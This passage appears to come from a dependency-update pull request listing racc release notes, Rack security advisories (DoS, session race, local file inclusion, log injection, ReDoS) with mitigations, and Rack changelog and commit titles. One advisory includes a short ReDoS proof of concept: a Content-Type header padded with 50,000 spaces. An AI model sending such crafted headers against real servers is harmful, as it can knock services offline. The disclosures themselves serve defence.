• dep: pin development dependencies, and enable dependabot for gems by @flavorjones in #229
• Clean embedded pragmas by @nobu in #230
• Embed grammar file name into generated file by @yui-knk in #231
• Bump actions/checkout from 3 to 4 by @dependabot in #232
• Fix a typo by @yui-knk in #234
• Add "Release flow" to README.rdoc by @yui-knk in #235
• Prepare 1.7.2 by @nobu in #236
• Remove install guide by setup.rb by @yui-knk in #237
• Fix tiny typos by @makenowjust in #238
• Remove old checks by @nobu in #240
• Remove MANIFEST which was used by ancient extmk.rb by @nobu in #242
• Extract Racc::VERSION from racc/info.rb at extconf.rb by @nobu in #241
• Use prototype declarations by @nobu in #243
• Bump up v1.7.2 by @yui-knk in #239

New Contributors

• @makenowjust made their first contribution in #238

Full Changelog: v1.7.1...v1.7.2

1.7.1

What's Changed

• Use released version of test-unit-ruby-core by @hsbt in #220
• Fix place to specify rake-compiler version by @nobu in #223
• Embedded path by @nobu in #221

Full Changelog: v1.7.0...v1.7.1

1.7.0

What's Changed

• Update racc.ja document by @hsbt in #207
• Make racc Ractor compatible by @pocke in #167
• Get rid of anonymous eval calls by @casperisfine in #208
• Adds Ruby 3.2 to the CI matrix. by @petergoldstein in #209
• Improve actions by @hsbt in #211
• Exclude jruby-head on macOS by @flavorjones in #214
• Add a newline at EOF [ci skip] by @nobu in #215
• [DOC] Strip trailing spaces by @nobu in #216
• Add tests for sample dir and tweak samples by @hkdnet in #217
• Remove ErrorSymbolValue reference by @jeremyevans in #213
• Embed racc/info.rb too by @nobu in #218

New Contributors

• @petergoldstein made their first contribution in #209
• @hkdnet made their first contribution in #217
• @jeremyevans made their first contribution in #213

Full Changelog: v1.6.2...v1.7.0

1.6.2

What's Changed

• Fixed typo in racc.en.rhtml by @jwillemsen in #200
• Removed old Id tag by @jwillemsen in #204
• Removed old originalId in comment by @jwillemsen in #203
• Adjust Racc parser version with gem version. by @hsbt in #205

Full Changelog: v1.6.1...v1.6.2

1.6.1

What's Changed

• CI: Add JRuby 9.3, use bundler-cache by @olleolleolle in #173
• Fix names by @nobu in #178
• Update README.rdoc by @jwillemsen in #179
• s/RubyVM::JIT/RubyVM::MJIT/g by @k0kubun in #180
• ci: update to cover Ruby 3.1 by @flavorjones in #181
• Fix typo in sample/calc.y. by @simi in #184
• Added dependabot.yml for actions by @hsbt in #186
• Bump actions/checkout from 2 to 3 by @dependabot in #187
• [DOC] Remove stale Object::ParseError documentation by @nobu in #188
• Strip trailing spaces by @nobu in #189
• Fix flag to Regexp.new by @nobu in #191
• Fix documentation directory name in README by @okuramasafumi in #193
• Make racc test more flexible (for JRuby). by @enebo in #194
• Update racc.en.rhtml by @jwillemsen in #195
• Update README.rdoc by @jwillemsen in #196
• Update racc.gemspec by @jwillemsen in #197
• ci: update jruby versions and add truffleruby by @flavorjones in #198

New Contributors

• @jwillemsen made their first contribution in #179
• @k0kubun made their first contribution in #180
• @simi made their first contribution in #184
• @dependabot made their first contribution in #187
• @okuramasafumi made their first contribution in #193

Full Changelog: v1.6.0...v1.6.1

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by more commits than we can show here.

🚨 Rack has an Unbounded-Parameter DoS in Rack::QueryParser

Summary

Rack::QueryParser parses query strings and application/x-www-form-urlencoded bodies into Ruby data structures without imposing any limit on the number of parameters, allowing attackers to send requests with extremely large numbers of parameters.

Details

The vulnerability arises because Rack::QueryParser iterates over each &-separated key-value pair and adds it to a Hash without enforcing an upper bound on the total number of parameters. This allows an attacker to send a single request containing hundreds of thousands (or more) of parameters, which consumes excessive memory and CPU during parsing.

Impact

An attacker can trigger denial of service by sending specifically crafted HTTP requests, which can cause memory exhaustion or pin CPU resources, stalling or crashing the Rack server. This results in full service disruption until the affected worker is restarted.

Mitigation

• Update to a version of Rack that limits the number of parameters parsed, or
• Use middleware to enforce a maximum query string size or parameter count, or
• Employ a reverse proxy (such as Nginx) to limit request sizes and reject oversized query strings or bodies.

Limiting request body sizes and query string lengths at the web server or CDN level is an effective mitigation.

🚨 Rack session gets restored after deletion

Summary

When using the Rack::Session::Pool middleware, simultaneous rack requests can restore a deleted rack session, which allows the unauthenticated user to occupy that session.

Details

Rack session middleware prepares the session at the beginning of request, then saves is back to the store with possible changes applied by host rack application. This way the session becomes to be a subject of race conditions in general sense over concurrent rack requests.

Impact

When using the Rack::Session::Pool middleware, and provided the attacker can acquire a session cookie (already a major issue), the session may be restored if the attacker can trigger a long running request (within that same session) adjacent to the user logging out, in order to retain illicit access even after a user has attempted to logout.

Mitigation

• Update to the latest version of rack, or
• Ensure your application invalidates sessions atomically by marking them as logged out e.g., using a logged_out flag, instead of deleting them, and check this flag on every request to prevent reuse, or
• Implement a custom session store that tracks session invalidation timestamps and refuses to accept session data if the session was invalidated after the request began.

Related

As this code was moved to rack-session in Rack 3+, see GHSA-9j94-67jr-4cqj for the equivalent advisory in rack-session (affecting Rack 3+ only).

🚨 Local File Inclusion in Rack::Static

Summary

Rack::Static can serve files under the specified root: even if urls: are provided, which may expose other files under the specified root: unexpectedly.

Details

The vulnerability occurs because Rack::Static does not properly sanitize user-supplied paths before serving files. Specifically, encoded path traversal sequences are not correctly validated, allowing attackers to access files outside the designated static file directory.

Impact

By exploiting this vulnerability, an attacker can gain access to all files under the specified root: directory, provided they are able to determine then path of the file.

Mitigation

• Update to the latest version of Rack, or
• Remove usage of Rack::Static, or
• Ensure that root: points at a directory path which only contains files which should be accessed publicly.

It is likely that a CDN or similar static file server would also mitigate the issue.

🚨 Escape Sequence Injection vulnerability in Rack lead to Possible Log Injection

Summary

Rack::Sendfile can be exploited by crafting input that includes newline characters to manipulate log entries.

Details

The Rack::Sendfile middleware logs unsanitized header values from the X-Sendfile-Type header. An attacker can exploit this by injecting escape sequences (such as newline characters) into the header, resulting in log injection.

Impact

This vulnerability can distort log files, obscure attack traces, and complicate security auditing.

Mitigation

• Update to the latest version of Rack, or
• Remove usage of Rack::Sendfile.

🚨 Possible Log Injection in Rack::CommonLogger

Summary

Rack::CommonLogger can be exploited by crafting input that includes newline characters to manipulate log entries. The supplied proof-of-concept demonstrates injecting malicious content into logs.

Details

When a user provides the authorization credentials via Rack::Auth::Basic, if success, the username will be put in env['REMOTE_USER'] and later be used by Rack::CommonLogger for logging purposes.

The issue occurs when a server intentionally or unintentionally allows a user creation with the username contain CRLF and white space characters, or the server just want to log every login attempts. If an attacker enters a username with CRLF character, the logger will log the malicious username with CRLF characters into the logfile.

Impact

Attackers can break log formats or insert fraudulent entries, potentially obscuring real activity or injecting malicious data into log files.

Mitigation

• Update to the latest version of Rack.

🚨 Rack has possible DoS Vulnerability with Range Header

Possible DoS Vulnerability with Range Header in Rack

There is a possible DoS vulnerability relating to the Range request header in
Rack. This vulnerability has been assigned the CVE identifier CVE-2024-26141.

Versions Affected: >= 1.3.0.
Not affected: < 1.3.0
Fixed Versions: 3.0.9.1, 2.2.8.1

Impact

Carefully crafted Range headers can cause a server to respond with an
unexpectedly large response. Responding with such large responses could lead
to a denial of service issue.

Vulnerable applications will use the Rack::File middleware or the
Rack::Utils.byte_ranges methods (this includes Rails applications).

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

• 3-0-range.patch - Patch for 3.0 series
• 2-2-range.patch - Patch for 2.2 series

Credits

Thank you ooooooo_q for the report and
patch

🚨 Rack vulnerable to ReDoS in content type parsing (2nd degree polynomial)

Summary

module Rack
  class MediaType
    SPLIT_PATTERN = %r{\s*[;,]\s*}

The above regexp is subject to ReDos. 50K blank characters as a prefix to the header will take over 10s to split.

PoC

A simple HTTP request with lots of blank characters in the content-type header:

request["Content-Type"] = (" " * 50_000) + "a,"

Impact

It's a very easy to craft ReDoS. Like all ReDoS the impact is debatable.

🚨 Rack Header Parsing leads to Possible Denial of Service Vulnerability

Possible Denial of Service Vulnerability in Rack Header Parsing

There is a possible denial of service vulnerability in the header parsing
routines in Rack. This vulnerability has been assigned the CVE identifier
CVE-2024-26146.

Versions Affected: All.
Not affected: None
Fixed Versions: 2.0.9.4, 2.1.4.4, 2.2.8.1, 3.0.9.1

Impact

Carefully crafted headers can cause header parsing in Rack to take longer than
expected resulting in a possible denial of service issue. Accept and Forwarded
headers are impacted.

Ruby 3.2 has mitigations for this problem, so Rack applications using Ruby 3.2
or newer are unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

• 2-0-header-redos.patch - Patch for 2.0 series
• 2-1-header-redos.patch - Patch for 2.1 series
• 2-2-header-redos.patch - Patch for 2.2 series
• 3-0-header-redos.patch - Patch for 3.0 series

Credits

Thanks to svalkanov for reporting this and
providing patches!

🚨 Possible Denial of Service Vulnerability in Rack's header parsing

There is a denial of service vulnerability in the header parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2023-27539.

Versions Affected: >= 2.0.0 Not affected: None. Fixed Versions: 2.2.6.4, 3.0.6.1

Impact

Carefully crafted input can cause header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that parse headers using Rack (virtually all Rails applications) are impacted.

Workarounds

Setting Regexp.timeout in Ruby 3.2 is a possible workaround.

🚨 Rack has possible DoS Vulnerability in Multipart MIME parsing

There is a possible DoS vulnerability in the Multipart MIME parsing code in Rack. This vulnerability has been assigned the CVE identifier CVE-2023-27530.

Versions Affected: All. Not affected: None Fixed Versions: 3.0.4.2, 2.2.6.3, 2.1.4.3, 2.0.9.3

Impact

The Multipart MIME parsing code in Rack limits the number of file parts, but does not limit the total number of parts that can be uploaded. Carefully crafted requests can abuse this and cause multipart parsing to take longer than expected.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Workarounds

A proxy can be configured to limit the POST body size which will mitigate this issue.

🚨 Denial of service via multipart parsing in Rack

There is a denial of service vulnerability in the multipart parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44572.

Versions Affected: >= 2.0.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.1, 3.0.0.1
Impact

Carefully crafted input can cause RFC2183 multipart boundary parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.
Releases

The fixed releases are available at the normal locations.
Workarounds

There are no feasible workarounds for this issue.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

2-0-Forbid-control-characters-in-attributes.patch - Patch for 2.0 series
2-1-Forbid-control-characters-in-attributes.patch - Patch for 2.1 series
2-2-Forbid-control-characters-in-attributes.patch - Patch for 2.2 series
3-0-Forbid-control-characters-in-attributes.patch - Patch for 3.0 series

🚨 Denial of service via header parsing in Rack

There is a possible denial of service vulnerability in the Range header parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44570.

Versions Affected: >= 1.5.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.2, 3.0.0.1
Impact

Carefully crafted input can cause the Range header parsing component in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that deal with Range requests (such as streaming applications, or applications that serve files) may be impacted.
Releases

The fixed releases are available at the normal locations.
Workarounds

There are no feasible workarounds for this issue.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

2-0-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 2.0 series
2-1-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 2.1 series
2-2-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 2.2 series
3-0-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 3.0 series

🚨 Denial of Service Vulnerability in Rack Content-Disposition parsing

There is a denial of service vulnerability in the Content-Disposition parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44571.

Versions Affected: >= 2.0.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.1, 3.0.0.1
Impact

Carefully crafted input can cause Content-Disposition header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. This header is used typically used in multipart parsing. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.
Releases

The fixed releases are available at the normal locations.
Workarounds

There are no feasible workarounds for this issue.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

2-0-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.0 series
2-1-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.1 series
2-2-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.2 series
3-0-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 3.0 series

2.2.16 (from changelog)

• Fix incorrect backport of optional CGI::Cookie support. (#2335, @jeremyevans)

2.2.15 (from changelog)

• Optional support for CGI::Cookie if not available. (#2327, #2333, @earlopain)

2.2.14 (from changelog)

Security

• CVE-2025-46727 Unbounded parameter parsing in Rack::QueryParser can lead to memory exhaustion.

2.2.13 (from changelog)

Security

• CVE-2025-27610 Local file inclusion in Rack::Static.

2.2.12 (from changelog)

Security

• CVE-2025-27111 Possible Log Injection in Rack::Sendfile.

2.2.10 (from changelog)

• Fix compatibility issues with Ruby v3.4.0. (#2248, @byroot)

2.2.8.1

What's Changed

• Fixed ReDoS in Accept header parsing [CVE-2024-26146]
• Fixed ReDoS in Content Type header parsing [CVE-2024-25126]
• Reject Range headers which are too large [CVE-2024-26141]

Full Changelog: v2.2.8...v2.2.8.1

2.2.7

What's Changed

• Correct the year number in the changelog by @kimulab in #2015
• Support underscore in host names for Rack 2.2 (Fixes #2070) by @jeremyevans in #2071

New Contributors

• @kimulab made their first contribution in #2015

Full Changelog: v2.2.6.4...v2.2.7

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by 66 commits:

• Bump patch version.
• Backport #2263 to v2.2, fix: malformed charset param (#2338)
• Bump patch version.
• Change CGI::Cookie.new to Cookie.new (#2335)
• Bump patch version.
• Feature detect `CGI::Cookie`. (#2333)
• Replace usage of CGI::Cookie (#2329)
• [2.2] Update test suite for Ruby 3.5
• Bump patch version.
• Remove 2nd argument to `unescape`.
• Merge commit from fork
• Merge commit from fork
• Bump patch verison.
• Update changelog.
• Use a fully resolved file path when confirming if a file can be served by `Rack::Static`.
• Bump patch verison.
• Fix development workflow.
• Use `#inspect` to prevent log injection.
• Fix version number in release notes.
• Bump patch version.
• Escape non-printable characters when logging.
• Bump patch version.
• [2.2-stable] Fix compatibility issues with Ruby 3.4.0dev (#2248)
• Bump patch version.
• Merge branch '2-2-sec' into 2-2-stable
• bump version
• Avoid 2nd degree polynomial regexp in MediaType
• Return an empty array when ranges are too large
• Fixing ReDoS in header parsing
• backport #2104 (#2121)
• Update CHANGELOG for 2.2.8 (#2107)
• Adds missing 2.2.8 to CHANGELOG.md (#2106)
• Bump patch version.
• Regenerate SPEC (#2102)
• Fix inefficient assert pattern in Rack::Lint (#2101)
• Prefer ubuntu-latest for testing. (#2095)
• Update cookie.rb (#2092)
• adds missing 2.2.7 to CHANGELOG.md (#2081)
• Limit file extension length of multipart tempfiles (#2069) (#2075)
• Bump patch version.
• Support underscore in host names for Rack 2.2 (Fixes #2070) (#2071)
• Merge branch '2-2-sec' into 2-2-stable
• bump version
• Avoid ReDoS problem
• Merge branch '2-2-sec' into 2-2-stable
• bump version
• Limit all multipart parts, not just files
• Correct the year in the changelog (#2015)
• bumping version
• Fix ReDoS in Rack::Utils.get_byte_ranges
• bump version
• Update changelog
• Fix ReDoS vulnerability in multipart parser
• Forbid control characters in attributes
• Bump patch version.
• Rack::MethodOverride handle QueryParser::ParamsTooDeepError (#2011)
• Remove leading dot to fix compatibility with latest cgi gem. (#1988)
• Update tests to work on latest Rubies. (#1999)
• Bump patch release.
• Fix Regexp deprecated third argument with Regexp::NOENCODING (#1998)
• fixup changelog
• bump version
• Better handling of case-insensitive headers for `Rack::Etag` middleware. (#1919)
• Add 'custom exception on params too deep error' change to CHANGELOG. (#1914)
• Expect additional optional version segment in version test. (#1913)
• Merge branch '2-2-sec' into 2-2-stable